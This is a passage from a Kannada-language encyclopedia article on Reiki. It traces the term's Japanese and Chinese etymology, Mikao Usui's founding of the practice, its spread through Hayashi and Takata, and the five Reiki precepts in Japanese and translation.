"ಪ್ರೇತ; ರಾಕ್ಷಸ; ದುರಾತ್ಮ" ಎಂಬ ಅರ್ಥವನ್ನು ನೀಡುತ್ತದೆ. ''ರಯೋ'' 霊 ಎಂದರೆ "ಮನುಷ್ಯರನ್ನು ಅಧೀನಪಡಿಸಿಕೊಳ್ಳುವ ದುರಾತ್ಮ", J. H. ಹೈಗ್ ೧೯೯೭.</ref> [[ಚೀನಿ ಭಾಷೆ|ಚೈನೀಸ್]]''ಲಿಂಗ್ಕಿ'' ಯನ್ನು 靈氣 ಮೊದಲ ಬಾರಿಗೆ (ಸುಮಾರು. ೩೨೦ BCE)ಯಲ್ಲಿ ''ಗುವಾಂಜಿ'' ವಿಭಾಗದ "ಆಂತರ್ಯ ತರಬೇತಿ" ''ನೆಯಿಯೇ'' ನಲ್ಲಿ ದಾಖಲು ಮಾಡಲಾಯಿತು, ಇದು ಪ್ರಾಚೀನ ದಾವೊಯಿಸ್ಟ್ ಧ್ಯಾನ ವಿಧಾನಗಳಲ್ಲಿ ವಿವರಿಸಲಾಗಿದೆ. "ಮನಸ್ಸಿನಲ್ಲಿರುವ ಆ ನಿಗೂಢ ಜೀವಧಾರಕ ಶಕ್ತಿ: ಒಂದು ಕ್ಷಣದಲ್ಲಿ ಇದು ಆಗಮಿಸಿ, ಮತ್ತೊಂದು ಕ್ಷಣದಲ್ಲಿ ಹೊರಟುಹೋಗುತ್ತದೆ. ಇದು ಎಷ್ಟು ಸೂಕ್ಷ್ಮವೆಂದರೆ, ಇದರೊಳಗೆ ಏನೂ ಇರುವುದಿಲ್ಲ; ಎಷ್ಟು ವ್ಯಾಪಕವೆಂದರೆ, ಇದರಾಚೆಗೂ ಏನೂ ಇರುವುದಿಲ್ಲ. ಮಾನಸಿಕ ಕ್ಷೋಭೆ ಉಂಟುಮಾಡುವ ಹಾನಿಯಿಂದಾಗಿ ಇದನ್ನು ನಾವು ಕಳೆದುಕೊಳ್ಳುತ್ತೇವೆ."<ref>ರೋಥ್, ಹರಾಲ್ಡ್ D. ೨೦೦೪. ''ಒರಿಜಿನಲ್ ಟಾವೋ: ಇನ್ವರ್ಡ್ ಟ್ರೈನಿಂಗ್('' ನೇಯಿ-ಎಹ್'')ಅಂಡ್ ದಿ ಫೌಂಡೆಶನ್ಸ್ ಆಫ್ ಟಾವೋಯಿಸ್ಟ್ ಮಿಸ್ಟಿಸಿಸಂ'' , ಕೊಲಂಬಿಯಾ ಯೂನಿವರ್ಸಿಟಿ ಪ್ರೆಸ್, ಪುಟ. ೯೭. 靈氣在心 ನ ತರ್ಜುಮೆಯನ್ನು "ಮಾಂತ್ರಿಕ ''ಕಿ'' ಹೃದಯದೊಳಗೆ"ಗೆ ಹೋಲಿಸಿ; R. ಎನೋ, ೨೦೦೫, [http://www.indiana.edu/~p374/Neiye.pdf ಗುಂಜಿ: "ದಿ ಇನ್ನರ್ ಎಂಟರ್ಪ್ರೈಸ್"].</ref> ಆಧುನಿಕ ಪ್ರಮಾಣಕ ಚೈನೀಸ್''ಲಿಂಗ್ಕಿ'' ಯನ್ನು ಚೈನೀಸ್-ಇಂಗ್ಲಿಷ್ ನಿಘಂಟುಗಳು:(ಸುಂದರವಾದ ಪರ್ವತಗಳ) ಆಧ್ಯಾತ್ಮಿಕ ಪ್ರಭಾವ ಅಥವಾ ವಾತಾವರಣ";<ref>ಲಿನ್ ಯುಟಂಗ್, ೧೯೭೨, [http://humanum.arts.cuhk.edu.hk/Lexis/Lindict/ ''ಲಿಂ ಯುಟಂಗ್'ಸ್ ಚೈನೀಸ್-ಇಂಗ್ಲಿಷ್ ಡಿಕ್ಷನರಿ ಆಫ್ ಮಾಡ್ರನ್ ಯೂಸೇಜ್'' ], ಚೈನೀಸ್ ಯೂನಿವರ್ಸಿಟಿ ಆಫ್ ಹಾಂಗ್ ಕಾಂಗ್ ಪ್ರೆಸ್.</ref>"೧.ಬುದ್ಧಿವಂತಿಕೆ; ಗ್ರಹಣಾ ಶಕ್ತಿ; ೨.ಅಲೌಕಿಕ ಶಕ್ತಿ ಅಥವಾ ಯಕ್ಷ ಕಥೆಗಳಲ್ಲಿ ಬರುವ ಶಕ್ತಿ; ಪವಾಡ ಸದೃಶ ಶಕ್ತಿ ಅಥವಾ ಬಲ;<ref>ಲಿನ್ ಯುವಾನ್, ೨೦೦೨, ''ದಿ ಕಾಂಟೆಂಪರರಿ ಚೈನೀಸ್ ಡಿಕ್ಷನರಿ, ಚೈನೀಸ್-ಇಂಗ್ಲಿಷ್ ಎಡಿಶನ್'' , ವಿದೇಶಿ ಭಾಷಾ ತರಬೇತಿ ಹಾಗು ಸಂಶೋಧನಾ ಮುದ್ರಣಾಲಯ.</ref> ಹಾಗು "೧.ಆಧ್ಯಾತ್ಮಿಕ ಪ್ರಭಾವ(ಪರ್ವತಗಳ/ಮುಂತಾದವುಗಳ ಪ್ರಭಾವ.) ಎಂದು ತರ್ಜುಮೆ ಮಾಡಿವೆ.; ೨.ಜಾಣತನ; ಬುದ್ಧಿವಂತಿಕೆ".<ref>ಡಿಫ್ರಾನ್ಸಿಸ್, ಜಾನ್, ೨೦೦೩, ''ABC ಚೈನೀಸ್-ಇಂಗ್ಲಿಷ್ ಕಾಮ್ಪ್ರಹೆನ್ಸಿವ್ ಡಿಕ್ಷನರಿ'' ,ಯೂನಿವರ್ಸಿಟಿ ಆಫ್ ಹವಾಯಿ ಪ್ರೆಸ್.</ref> === ಮೂಲಗಳು === :''ಫೈವ್ ಪ್ರಿಸೆಪ್ಟ್ಸ್ ಹಾಗು ಟೈಮ್ ಲೈನ್ ಆಫ್ ರೇಖಿ ಹಿಸ್ಟರಿಯನ್ನೂ ಸಹ ನೋಡಿ '' [[File:Chujiro Hayashi.jpg|thumb|100px|ಚುಜಿರೋ ಹಯಾಶಿ林 忠次郎 (1880 - 1940)]] ರೇಖಿಯನ್ನುಮಿಕಾವೋ ಉಸುಯಿ(臼井甕男) ೧೯೨೨ರಲ್ಲಿ, ಮೌಂಟ್ ಕುರಾಮ ಮೇಲೆ ಆಯೋಜಿಸಲಾಗಿದ್ದ ಇಪ್ಪತ್ತೊಂದು ದಿನದ ಬೌದ್ಧ ತರಬೇತಿ ಶಿಬಿರ''ಇಸ್ಯು ಗುವೋ'' ನಡೆಸುವಾಗ ಅಭಿವೃದ್ಧಿಪಡಿಸಿದರು.<ref>{{cite book |last= Rand |first= William L. |title= Reiki: The Healing Touch, First and Second Degree Manual |publisher= Vision Publications |location= [[Michigan]], [[USA]] |edition=Expanded and Revised |year= ೧೯೯೮ |month= March |origyear= ೧೯೯೧ |isbn= ೧೮೮೬೭೮೫೦೩೧ |page=I-೧೩}}</ref> ಈ ತರಬೇತಿ ಅವಧಿಯಲ್ಲಿ ಉಸುಯಿಯವರು ಏನು ಮಾಡಿದ್ದರೆಂಬ ಬಗ್ಗೆ ಖಚಿತವಾದ ಮಾಹಿತಿಯಿಲ್ಲ, ಆದಾಗ್ಯೂ ಶಿಬಿರದಲ್ಲಿ ಧ್ಯಾನ,ಉಪವಾಸ, ಮಂತ್ರ ಪಠಣ, ಹಾಗು ಪ್ರಾರ್ಥನೆಗಳು ಇದ್ದಿರಬಹುದು.<ref name="HealingTouchI14">{{cite book |last= Rand |first= William L. |title= Reiki: The Healing Touch, First and Second Degree Manual |publisher= Vision Publications |location= [[Michigan]], [[USA]] |edition=Expanded and Revised |year= ೧೯೯೮ |month= March |origyear= ೧೯೯೧ |isbn= ೧೮೮೬೭೮೫೦೩೧ |page=I-೧೪}}</ref><ref name="Usui retreat">ಉಸುಯಿಯವರ ೨೧ ದಿನದ ಆರೈಕೆ: (ಲೂಬೆಕ್, ಪೆಟ್ಟರ್, ಹಾಗು ರಾಂಡ್ (೨೦೦೧). ಪುಟ ೧೪); [http://www.Reiki.org/FAQ/HistoryOfReiki.html ''ವಾಟ್ ಇಸ್ ದಿ ಹಿಸ್ಟರಿ ಆಫ್ ರೇಖಿ ?'' ]</ref> ಒಂದು ಆಧ್ಯಾತ್ಮಿಕ ದಿವ್ಯಜ್ಞಾನದ ಮೂಲಕ, ಉಸುಯಿ ರೇಖಿಯ ಬಗ್ಗೆ ಜ್ಞಾನವನ್ನು ಪಡೆಯುವುದರ ಜೊತೆಗೆ ಆಧ್ಯಾತ್ಮಿಕ ಶಕ್ತಿಯನ್ನು ಬಳಸುವ ಹಾಗು ಇತರರಿಗೆ ಬಳಸಲು ಅನುವು ಮಾಡಿಕೊಟ್ಟರೆಂದು ಹೇಳಲಾಗುತ್ತದೆ, ಇದು ಅವರ ಶರೀರಕ್ಕೆ ಮುಕುಟ ಚಕ್ರದ ಮೂಲಕ ಪ್ರವೇಶಿಸಿತೆಂದು ಪ್ರತೀತಿಯಿದೆ.<ref name="HealingTouchI14" /> ಏಪ್ರಿಲ್ ೧೯೨೨ರಲ್ಲಿ, ಉಸುಯಿ [[ಟೋಕ್ಯೊ|ಟೋಕಿಯೋ]]ಗೆ ಸ್ಥಳಾಂತರಗೊಂಡು''ಉಸುಯಿ ರೇಖಿ ರಯೋಹೋ ಗಕ್ಕೈ'' ಯನ್ನು ಸ್ಥಾಪಿಸುತ್ತಾರೆ(ಸಾಂಪ್ರದಾಯಿಕವಾಗಿ ಮ್ಯಾಂಡರಿನ್ ನಲ್ಲಿ "臼井靈氣療法學會", ಇದು''ಉಸುಯಿ'ಸ್ ಸ್ಪಿರಿಚುವಲ್ ಎನರ್ಜಿ ಥೆರಪಿ ಮೆಥಡ್ ಸೊಸೈಟಿ'' ಎಂಬ ಅರ್ಥವನ್ನು ನೀಡುತ್ತದೆ), ಸಂಸ್ಥೆಯು ರೇಖಿಯ ಮೂಲಕ ದೊಡ್ಡ ಪ್ರಮಾಣದಲ್ಲಿ ಜನರಿಗೆ ಚಿಕಿತ್ಸೆಯನ್ನು ಮುಂದುವರೆಸುವ ಉದ್ದೇಶವನ್ನು ಹೊಂದಿತ್ತು.<ref name="HealingTouchI14" /><ref>ಉಸುಯಿ ರೇಖಿ ರಯೋಹೋ ಗಕ್ಕೈನ ಸ್ಥಾಪನೆ:(ಲೂಬೆಕ್, ಪೆಟ್ಟರ್, ಹಾಗು ರಾಂಡ್(೨೦೦೧). ಪುಟ ೧೪)</ref> ಅವರ ಸ್ಮಾರಕ ಶಿಲೆಯ ಮೇಲೆ ಕೆತ್ತಲಾದ ಬರೆಹದ ಪ್ರಕಾರ,<ref name="UsuiMemorial">ಉಸುಯಿಯವರ ಸ್ಮಾರಕದ ಮೇಲಿನ ಬರೆಹ</ref> ಉಸುಯಿ, ತಮ್ಮ ಜೀವಿತಾವಧಿಯಲ್ಲಿ ೨೦೦೦ಕ್ಕೂ ಮೇಲ್ಪಟ್ಟ ಜನರಿಗೆ ತಮ್ಮ ರೇಖಿ ವಿದ್ಯೆಯನ್ನು ಧಾರೆ ಎರೆದಿದ್ದಾರೆ, ಹಾಗು ಅವರ ಇಷ್ಟು ಮಂದಿ ಶಿಷ್ಯರಲ್ಲಿ ಹದಿನಾರು ಜನರು''ಶಿನ್ಪಿಡೆನ್'' ಮಟ್ಟದವರೆಗೂ ಕಲಿತಿದ್ದಾರೆ, ಇದು ಪಾಶ್ಚಿಮಾತ್ಯ ಮೂರನೇ, ಅಥವಾ ತಜ್ಞ/ಶಿಕ್ಷಕ ಮಟ್ಟದ ಪದವಿಗೆ ಸಮಾನಾಂತರವಾಗಿದೆ.<ref name="UsuiMemorial" /><ref>ಉಸುಯಿಯವರು ಬೋಧಿಸಿದ ಜನರ ಸಂಖ್ಯೆ:ಲೂಬೆಕ್, ಪೆಟ್ಟರ್ , ಹಾಗು ರಾಂಡ್ (೨೦೦೧). ಪುಟ ೧೬ )</ref> ಫುಕುಯಾಮದಲ್ಲಿ (福山市,''ಫುಕುಯಾಮ-ಶಿ'' ) ರೇಖಿಯನ್ನು ಕಲಿಸುವಾಗ, ಉಸುಯಿ ಪಾರ್ಶ್ವವಾಯುವಿಗೆ ತುತ್ತಾಗಿ, ೯ ಮಾರ್ಚ್ ೧೯೨೬ರಲ್ಲಿ ನಿಧನರಾಗುತ್ತಾರೆ.<ref name="UsuiMemorial" /> === ಆರಂಭಿಕ ಬೆಳವಣಿಗೆ === [[File:Hawayo Takata.jpg|thumb|150px|ಹವಯೋ ತಕಾತ (24 ಡಿಸೆಂಬರ್ 1900 - 11 ಡಿಸೆಂಬರ್ 1980)]] ಉಸುಯಿಯವರ ನಿಧನದ ನಂತರ, ಉಸುಯಿಯವರ ಒಬ್ಬ ಶಿಷ್ಯರಾದ ಶ್ರೀ. J. ಉಷಿಡ, ಗಕ್ಕೈನ ಅಧ್ಯಕ್ಷರಾಗಿ ಅಧಿಕಾರವನ್ನು ಸ್ವೀಕರಿಸುತ್ತಾರೆ.<ref name="HealingTouchI15">{{cite book |last= Rand |first= William L. |title= Reiki: The Healing Touch, First and Second Degree Manual |publisher= Vision Publications |location= [[Michigan]], [[USA]] |edition=Expanded and Revised |year= ೧೯೯೮ |month= March |origyear= ೧೯೯೧ |isbn= ೧೮೮೬೭೮೫೦೩೧ |page=I-೧೫}}</ref> ಉಸುಯಿಯವರ ಸ್ಮಾರಕವನ್ನು ನಿರ್ಮಾಣ ಮಾಡುವ ಹಾಗು ಕೆತ್ತುವ ಜವಾಬ್ದಾರಿಯನ್ನೂ ಸಹ ಇವರು ಹೊಂದಿದ್ದರು ಜೊತೆಗೆ ಸ್ಮಾರಕವಿರುವ ಜಾಗವನ್ನು ರಕ್ಷಿಸುವ ಹೊಣೆ ಹೊತ್ತಿದ್ದರು.<ref name="HealingTouchI15" /> ಶ್ರೀ.ಉಷಿಡರ ನಂತರ ಶ್ರೀ.ಐಚಿ ಟಕೆಟೊಮಿ, ಶ್ರೀ.ಯೋಶಿಹಾರು ವಾಟನಾಬೆ, ಶ್ರೀ.ಕಿಮಿಕೋ ಕೊಯಾಮ ಇದರ ಜವಾಬ್ದಾರಿ ವಹಿಸಿಕೊಂಡರು ಹಾಗು ಉಸುಯಿಯವರ ಪ್ರಸಕ್ತದ ಉತ್ತರಾಧಿಕಾರಿ, ಶ್ರೀ. ಕೊಂಡೋ, ೧೯೯೮ರಲ್ಲಿ ಇದರ ಅಧ್ಯಕ್ಷ ಪದವಿಯನ್ನು ಸ್ವೀಕರಿಸಿದರು.<ref name="HealingTouchI15" /> ಉಸುಯಿ ಕಲಿಸಿದ ಹದಿನಾರು ಬೋಧಕರಲ್ಲಿ ತೊಶಿಹಿರೋ ಇಗುಚಿ, ಜುಸಬುರೋ ಗುಯಿಡ, ಇಲಿಚಿ ಟಕೆಟೊಮಿ, ತೊಯೋಯಿಚಿ ವನಮಿ, ಯೋಶಿಹಿರು ವಾಟನಬೆ, ಕೆಯಿಜೋ ಒಗಾವ, J. ಉಷಿಡ, ಹಾಗು ಚುಜಿರೋ ಹಯಾಶಿ ಸೇರಿದ್ದಾರೆ.<ref name="HealingTouchI15" /><ref>ಫ್ರಾಂಕ್ ಅರ್ಜಾವ ಪೆಟ್ಟರ್ ಹಾಗು ಡೇವ್ ಕಿಂಗ್ ನಡೆಸಿದ ಮೂಲ ಸಂಶೋಧನೆಯಿಂದ</ref> ಚುಜಿರೋ ಹಯಾಶಿ(林 忠次郎 ''ಹಯಾಶಿ ಚುಜಿರೋ'' ) ಉಸುಯಿಯವರ ರೇಖಿ ರಯೋಹೋ ಗಕ್ಕೈನ್ನು ತೊರೆದು ತಮ್ಮದೇ ಆದ ಚಿಕಿತ್ಸಾಲಯ ಆರಂಭಿಸುತ್ತಾರೆ, ಇಲ್ಲಿ ಇವರು ರೇಖಿ ಚಿಕಿತ್ಸೆಗಳನ್ನು ನೀಡುವುದರ ಜೊತೆಗೆ, ಅದರ ಬಗ್ಗೆ ಬೋಧನೆ, ಹಾಗು ಜನರಿಗೆ ರೇಖಿಯನ್ನು ಕಲಿಯಲು ಅನುವು ಮಾಡಿಕೊಡುತ್ತಾರೆ, ಹಾಗು ಈ ಚಿಕಿತ್ಸಾಲಯಕ್ಕೆ ಹವಾಯೋ ತಕಾತ ನಿರ್ದೇಶಕರಾಗುತ್ತಾರೆ.<ref name="HealingTouchI15" /> ಹಯಾಶಿ ರೇಖಿ ಬೋಧನೆಗಳನ್ನು ಸರಳಗೊಳಿಸುತ್ತಾರೆ, ಹೆಚ್ಚು ಕ್ರಮಬದ್ಧವಾಗಿ ರಚನೆ ಹಾಗು ರೇಖಿ ವಿಧಾನಗಳ ಸರಳ ರಚನೆಯನ್ನು ಬಳಸಿಕೊಂಡು ಶಾರೀರಿಕ ಉಪಶಮನಕ್ಕೆ ಒತ್ತು ನೀಡುತ್ತಾರೆ.<ref>ಹಯಾಶಿಯವರ ಬೋಧನೆಗಳು:(ಲೂಬೆಕ್, ಪೆಟ್ಟರ್, ಹಾಗು (೨೦೦೧). ಅಧ್ಯಾಯ ೧೯, ಪುಟ ೧೭)</ref> ತಮ್ಮ ಚಿಕಿತ್ಸಾಲಯದಲ್ಲಿ ಹಯಾಶಿಯವರ ಶಿಕ್ಷಾರ್ಥಿಯಾಗಿ ರೇಖಿಯ ವ್ಯಾಸಂಗಾವಧಿಯಲ್ಲಿ, ಕಿಬ್ಬೊಟ್ಟೆ ನೋವು ಹಾಗು ಅಸ್ತಮಾಕ್ಕೆ ಚಿಕಿತ್ಸೆ ನೀಡುವುದನ್ನು ಒಳಗೊಂಡಂತೆ, ಹಯಾಶಿ ತಕಾತರಿಗೆ ವಿಧಿವತ್ತಾಗಿ ರೇಖಿಯನ್ನು ಬಳಸುವ ಬಗ್ಗೆ ತರಬೇತಿ ನೀಡುತ್ತಾರೆ,<ref name="HealingTouchI16">{{cite book |last= Rand |first= William L. |title= Reiki: The Healing Touch, First and Second Degree Manual |publisher= Vision Publications |location= [[Michigan]], [[USA]] |edition=Expanded and Revised |year= ೧೯೯೮ |month= March |origyear= ೧೯೯೧ |isbn= ೧೮೮೬೭೮೫೦೩೧ |page=I-೧೬}}</ref><ref>ತಕಾತ ಅವರಿಗೆ ತರಬೇತಿ ನೀಡಿದ ಹಯಾಶಿ:(ಎಲ್ಲ್ಯರ್ಡ್ (೨೦೦೪). ಪುಟ ೧೩)</ref> ಜೊತೆಗೆ ೨೧ ಫೆಬ್ರವರಿ ೧೯೩೮ರಲ್ಲಿ ಅವರನ್ನೊಬ್ಬ ರೇಖಿ ತಜ್ಞೆಯನ್ನಾಗಿ ಮಾಡುತ್ತಾರೆ.<ref name="HealingTouchI16" /><ref>ಆಕೆಯ ಮೂಲ ಪ್ರಮಾಣಪತ್ರದ ಒಂದು ನಕಲು [http://www.aetw.org/reiki_takata_cert.html Aetw.org] ನಲ್ಲಿ ದೊರೆಯುತ್ತದೆ</ref> ತಕಾತ [[ಹವಾಯಿ|ಹವಾಯಿಯುದ್ದಕ್ಕೂ]] ಹಲವಾರು ರೇಖಿ ಚಿಕಿತ್ಸಾಲಯಗಳನ್ನು ಸ್ಥಾಪಿಸುತ್ತಾರೆ, ಇದರಲ್ಲಿ ಒಂದು ಹಿಲೋನಲ್ಲಿ ಸ್ಥಿತವಾಗಿದೆ,<ref name="HealingTouchI16" /> ಹಾಗು ನಂತರದಲ್ಲಿ [[ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ|ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ]]ದುದ್ದಕ್ಕೂ ಪ್ರಯಾಣಿಸಿ, ರೇಖಿ ವೃತ್ತಿಯನ್ನು ನಡೆಸುವುದರ ಜೊತೆಗೆ ಇತರರಿಗೆ ಮೊದಲ ಎರಡು ಹಂತಗಳನ್ನು ಕಲಿಸುತ್ತಾರೆ,<ref>USನಲ್ಲಿ ತಕಾತ ಅವರ ರೇಖಿ ಅಭ್ಯಾಸ ಹಾಗು ಬೋಧನೆ: (ಎಲ್ಲ್ಯರ್ಡ್ (೨೦೦೪). ಪುಟ ೧೫)</ref> ಹಾಗು ೧೯೭೦ರವರೆಗೂ ತಕಾತ ರೇಖಿ ತಜ್ಞರು ವಿಧಿವತ್ತಾಗಿ ವೃತ್ತಿಯನ್ನು ಆರಂಭಿಸಲು ಅನುವು ಮಾಡಿಕೊಡಲಿಲ್ಲ.<ref name="HealingTouchI17">{{cite book |last= Rand |first= William L. |title= Reiki: The Healing Touch, First and Second Degree Manual |publisher= Vision Publications |location= [[Michigan]], [[USA]] |edition=Expanded and Revised |year= ೧೯೯೮ |month= March |origyear= ೧೯೯೧ |isbn= ೧೮೮೬೭೮೫೦೩೧ |page=I-೧೭}}</ref> ಈ ಹಂತದಲ್ಲಿ, ತಕಾತ,''ಶಿನ್ಪಿಡೆನ್'' ಮಟ್ಟಕ್ಕೆ ''ರೇಖಿ ಪರಿಣಿತ'' ನೆಂಬ ಪದವನ್ನೂ ಸಹ ಪರಿಚಯಿಸಿದರು.<ref>ರೇಖಿ ಪದ್ಧತಿಯಲ್ಲಿ ನಿಪುಣತೆಯನ್ನು ಗಳಿಸಲು ತಕಾತ ಅವರ ಬೋಧನೆಯ ಆರಂಭ:(ಎಲ್ಲ್ಯರ್ಡ್ (೨೦೦೪). ಪುಟ ೧೫)</ref> ರೇಖಿ ಚಿಕಿತ್ಸೆಗಳಿಗೆ ಹಾಗು ಬೋಧನೆಗಳಿಗೆ ಶುಲ್ಕವನ್ನು ವಿಧಿಸುವ ಪ್ರಾಮುಖ್ಯತೆಗೆ ಅವರು ಒತ್ತು ನೀಡಿದರು ಜೊತೆಗೆ ಸಂಪೂರ್ಣವಾಗಿ ನಿಪುಣತೆಯನ್ನು ಪಡೆಯುವ ತರಬೇತಿಗಾಗಿ $೧೦,೦೦೦ ಶುಲ್ಕವನ್ನು ನಿಗದಿ ಮಾಡಿದರು(ಅಂದಾಜು £೬,೫೦೦ ಅಥವಾ €೭,೪೦೦).<ref name="HealingTouchI17" /> ತಕಾತ ೧೧ ಡಿಸೆಂಬರ್ ೧೯೮೦ರಲ್ಲಿ ನಿಧನರಾಗುತ್ತಾರೆ,<ref name="HealingTouchI17" /><ref>(ಪೆಟ್ಟರ್ (೧೯೯೭). ಪುಟ ೨೧) ಹಾಗು (ವೆಲ್ಥೆಯಿಂ ಹಾಗು ವೆಲ್ಥೆಯಿಂ (೧೯೯೫). ಪುಟ ೨೬)</ref> ಆ ಅವಧಿಯಲ್ಲಿ ಆಕೆ ೨೨ ರೇಖಿ ತಜ್ಞರಿಗೆ ತರಬೇತಿ ನೀಡಿದ್ದರು,<ref>{{cite web |url=http://www.reikifed.co.uk/pub/about/fed/join/lineages.shtml |title=UK Reiki Federation - About Lineages |author=UK Reiki Federation |accessdate=15 April 2010 |archive-date=21 ಮೇ 2012 |archive-url=https://web.archive.org/web/20120521213328/http://www.reikifed.co.uk/pub/about/fed/join/lineages.shtml |url-status=dead }}</ref><ref>೨೨ ರೇಖಿ ತಜ್ಞರನ್ನು ತಕಾತ ತರಬೇತಿ ನೀಡಿದ್ದಾರೆ:(ಎಲ್ಲ್ಯರ್ಡ್ (೨೦೦೪). ಪುಟ ೧೪),(ವೆಲ್ಥಿಯಂ ಹಾಗು ವೆಲ್ಥಿಯಂ (೧೯೯೫). ಪುಟ ೨೬) ಹಾಗು (ಪೆಟ್ಟರ್(೧೯೯೭). ಪುಟ ೨೦)</ref> ಹಾಗು ಜಪಾನಿನಾಚೆಗೂ ವಿಸ್ತರಿಸಿದ ಬಹುತೇಕ ಎಲ್ಲ ರೇಖಿ ಶಿಕ್ಷಣವು ಅವರ ಪ್ರಯತ್ನದ ಫಲವೆಂದು ಹೇಳಬಹುದು.<ref>ಜಪಾನಿನಾಚೆಗೆ ರೇಖಿಯನ್ನು ತಕಾತ ಹೊರ ತಂದರ ಮಹತ್ವ: (ಎಲ್ಲ್ಯರ್ಡ್ (೨೦೦೪). ಪುಟಗಳು ೧೪ ರಿಂದ ೧೬) ಹಾಗು (ವೆಲ್ಥಿಯಂ ಹಾಗು ವೆಲ್ಥಿಯಂ(೧೯೯೫). ಪುಟ ೨೬)</ref> === ಐದು ಸೂತ್ರಗಳು === ಉಸುಯಿ,ಚಕ್ರವರ್ತಿ ಮೆಯಿಜಿಯವರ(明治天皇''ಮೆಯಿಜಿ ಟೆನ್ನೋ'' )ಸಾಹಿತ್ಯಕ ಕೃತಿಗಳ ಅಭಿಮಾನಿಯಾಗಿದ್ದರು. ರೇಖಿ ಪದ್ಧತಿಯನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸುವ ಪ್ರಕ್ರಿಯೆಯಲ್ಲಿ, ಉಸುಯಿ, ಚಕ್ರವರ್ತಿಯ ಕೆಲ ಕೃತಿಗಳನ್ನು ನೀತಿಸೂತ್ರಗಳ ಒಂದು ಸಂಗ್ರಹವಾಗಿ ಸಂಕ್ಷಿಪ್ತಗೊಳಿಸುತ್ತಾರೆ, ಇದು ನಂತರದಲ್ಲಿ ಐದು ರೇಖಿ ಆಚಾರಸೂತ್ರಗಳಾಗಿ ಪರಿಚಯವಾಯಿತು(五戒 ''ಗೊಕೈ,'' ಅರ್ಥ, "ಐದು ದೈವಾಜ್ಞೆಗಳು," ಇದು ಹತ್ಯೆಗೈಯ್ಯುವುದು, ದರೋಡೆ ಮಾಡುವುದು, ಲೈಂಗಿಕವಾಗಿ ಅನುಚಿತ ವರ್ತನೆ, ಸುಳ್ಳು ಹೇಳುವುದು ಹಾಗು ಸಂಯಮರಾಹಿತ್ಯದ ವಿರುದ್ಧ ಬೋಧಿಸುವ [[ಬುದ್ಧ|ಬೌದ್ಧ]] ಉಪದೇಶಗಳಿಂದ ಆಯ್ದುಕೊಳ್ಳಲಾಗಿದೆ). ಸಾಮಾನ್ಯವಾಗಿ ರೇಖಿ ಪದ್ಧತಿಯನ್ನು ಬೋಧಿಸುವವರು ಹಾಗು ಚಿಕಿತ್ಸೆ ನೀಡುವವರು ಈ ಐದು ಆಚಾರ ಸೂತ್ರಗಳು, ಅಥವಾ ನಿಯಮಗಳಿಗೆ ಬದ್ಧರಾಗಿರಬೇಕಾಗುತ್ತದೆ.<ref>{{cite book |title=Living the Reiki Way |last= Quest |first=Penelope |year=2008 |publisher=Piatkus |location=London |isbn=0749928328 |pages=17–18}}</ref> {{Col-begin}} {{col-break}} '''''ಕಾಂಜಿ'' ''' 招福の秘法,<br> 萬病の霊薬. 今日丈けは:<br> :怒るな, ::心配すな, :::感謝して, ::::業をはけめ, :::::人に親切に. 朝夕合掌して心に念じ,<br> 口に唱へよ. 心身改善.<br> 臼井霊氣療法. 肇祖,<br> 臼井甕男. {{col-break}} '''''ರೋಮಾಜಿ '' ''' ಶೋಫುಕು ನೋ ಹಿಹೋ, <br> ಮನ್ಬ್ಯೋ ನೋ ರೆಯಿಯಾಕು ಕ್ಯೋ ಡಾಕೆ ವಾ:<br> :ಒಕೊರು ನಾ, ::ಶಿಂಪೈ ಸು ನಾ, :::ಕಾಂಷ ಶಿತೆ, ::::ಗಯೋ ವೋ ಹಕೆಮೆ, :::::ಹಿಟೋ ನಿ ಶಿನ್ಸೆತ್ಸು ನಿ. ಅಸಾಯು ಗಾಷೋ ಶಿತೆ ಕೊಕೊರೋ ನಿ ನೆಂಜಿ,<br> ಕುಚಿ ನಿ ತೊನಯೇ ಯೋ. ಶಿನ್ಶಿನ್ ಕೈಜೆನ್.<br> ಉಸುಯಿ ರೇಖಿ ರಯೋಹೋ ಚೋಸೋ,<br> ಉಸುಯಿ ಮಿಕಾವೋ. {{col-break}} [[File:Usui concepts japanese.gif|thumb|right|ಸಮಗ್ರ ಗ್ರಂಥದೊಳಗೆ ಮಿಕಾವೋ ಉಸುಯಿಯವರ ಐದು ಕಲ್ಪನೆಗಳು ಒಳಗೊಂಡಿವೆ(ಜಪಾನೀಸ್ ಬರವಣಿಗೆಯನ್ನು ಮೇಲಿನಿಂದ ಕೆಳಗಿನವರೆಗೆ, ಬಲದಿಂದ ಎಡಕ್ಕೆ ಓದಲಾಗುತ್ತದೆ).ಗಮನಿಸಿ: ಐದು ಆಚಾರ ಸೂತ್ರಗಳು ಅಥವಾ ಐದು ಆಧಾರ ತತ್ತ್ವಗಳೆಂದು ಕರೆಯಲಾಗುವ ಇವುಗಳು, ಅಂತರದ ಕೆಳಭಾಗದ ಬಲಬದಿಯಿಂದ ಮೂರನೇ ಅಂಕಣದಿಂದ ಆರಂಭಗೊಳ್ಳುತ್ತದೆ, ಹಾಗು ಬಲಭಾಗದಿಂದ ನಾಲ್ಕನೇ ಹಾಗು ಐದನೇ ಅಂಕಣಗಳಲ್ಲೂ ಮುಂದುವರೆಯುತ್ತದೆ.]] '''''ಆಂಗ್ಲ '' ''' ಸಂತೋಷವನ್ನು ಆಹ್ವಾನಿಸುವ ಗುಪ್ತ ಕಲೆ <br> ಎಲ್ಲ ಕಾಯಿಲೆಗಳಿಗೆ ಪವಾಡ ಸದೃಶ ಚಿಕಿತ್ಸೆ. ಕಡೆ ಪಕ್ಷ ಇಂದು:<br> :ಕೋಪಗೊಳ್ಳಬೇಡ, ::ಚಿಂತಿಸಬೇಡ, :::ಆಭಾರಿಯಾಗಿರು, ::::ಶ್ರದ್ಧೆಯಿಂದ ಕೆಲಸಮಾಡು, :::::ಜನರಿಗೆ ಸ್ನೇಹಮಯನಾಗಿರು. ಪ್ರತಿ ದಿನ ಬೆಳಿಗ್ಗೆ ಹಾಗು ಸಂಜೆ, ಕೈಯನ್ನು ಮುಗಿದು ಹೃದಯಪೂರ್ವಕವಾಗಿ ಧ್ಯಾನವನ್ನು ಹಾಗು ಪ್ರಾರ್ಥನೆಯನ್ನು ಮಾಡು.<br> ನಿನ್ನ ಮನಸ್ಸಿನಲ್ಲಿ ನಿಷ್ಕರ್ಷಿಸು ಹಾಗು ಬಾಯಿಂದ ಪಠಣ ಮಾಡು. 